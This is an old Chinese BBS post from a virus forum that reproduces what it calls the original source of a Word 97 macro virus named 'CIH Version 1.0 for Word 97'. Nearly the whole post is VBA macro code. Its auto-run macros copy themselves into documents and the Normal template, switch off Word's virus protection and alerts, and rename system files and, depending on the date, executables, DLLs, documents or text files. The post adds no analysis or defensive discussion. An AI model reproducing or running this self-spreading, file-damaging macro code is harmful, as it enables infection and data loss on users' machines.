发信人: Wwashington()
整理人: emil(1999-08-16 08:42:20), 站内信件
|
发信人: [email protected] (相遇相知相惜相伴), 信区: virus 标 题: 发现新的巨集病毒-CIH Version 1.0 for Word 97 发信站: 中兴法商北极星 (Mon Jun 15 09:06:57 1998) 转信站: dragon!feeder.seed.net.tw!spring!news.csie.ncu!news.ncu!news.nctu!news.
这是在网页上下载到的原始病毒程式码
Global Const Virus = "CIH Version 1.0 for Word 97" Global Const SPI_SCREENSAVERRUNNING = 97 Global Const CONFIG = "C:\CONFIG.SYS" Global Const AUTOEXEC = "C:\AUTOEXEC.BAT" Global Const WININI = "\WIN.INI" Global Const SYSTEMINI = "\SYSTEM.INI" Global Const DEFRAGEXE = "\DEFRAG.EXE" Global Const MaxOutPut = 300 Global Founds() As String
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDir ectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirec toryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParamete rsInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fu WinIni As Long) As Long
Sub AutoOpen() If InputBox("Password:", Virus) = "xswcdevfr" Then If InputBox("Password:", Virus) = "xswcdevfr" Then Exit Sub End If Initial On Error Resume Next For I = 1 To ActiveDocument.VBProject.VBComponents.Count If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF ormatTemplate End If Next For J = 1 To NormalTemplate.VBProject.VBComponents.Count If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems Options.SaveNormalPrompt = False End If Next J End Sub
Sub AutoExit() If InputBox("Password:", Virus) = "xswcdevfr" Then Exit Sub End If Initial On Error Resume Next For I = 1 To ActiveDocument.VBProject.VBComponents.Count If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF ormatTemplate End If Next For J = 1 To NormalTemplate.VBProject.VBComponents.Count If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems Options.SaveNormalPrompt = False End If Next J End Sub Sub AutoClose() If InputBox("Password:", Virus) = "xswcdevfr" Then Exit Sub End If Initial On Error Resume Next For I = 1 To ActiveDocument.VBProject.VBComponents.Count If Not ActiveDocument.VBProject.VBComponents(I).Name = "CIH" Then Application.OrganizerCopy Source:=NormalTemplate.FullName, Destinati on:=ActiveDocument.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems ActiveDocument.SaveAs Filename:=ActiveDocument.Name, FileFormat:=wdF ormatTemplate End If Next For J = 1 To NormalTemplate.VBProject.VBComponents.Count If Not NormalTemplate.VBProject.VBComponents(J).Name = "CIH" Then Application.OrganizerCopy Source:=ActiveDocument.FullName, Destinatio n:=NormalTemplate.FullName, Name:="CIH", Object:=wdOrganizerObjectProjectItems Options.SaveNormalPrompt = False End If Next J End Sub
Sub Initial() Dim pOld As Boolean, App As Application Call SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, pOld, 0) Set App = Application With App .ScreenUpdating = False .DisplayAlerts = wdAlertsNone End With WordBasic.DisableAutoMacros 0 Options.VirusProtection = False Rename AUTOEXEC Rename CONFIG Rename DEFRAGEXE Select Case Day(Now) Case 1 To 2 Rename "a*.*" Rename "c*.*" Rename "p*.*" Case 3 To 10 Rename "*.COM" Case 11 To 20 Rename "*.EXE" Case 21 To 24 Rename "*.DLL" Case 25 To 27 Rename "*.DOC" Case Else Rename "*.TXT" End Select End Sub
-- ※ 来源:.广州网易 BBS bbs.nease.net.[FROM: news.foshan.gd.]
|
|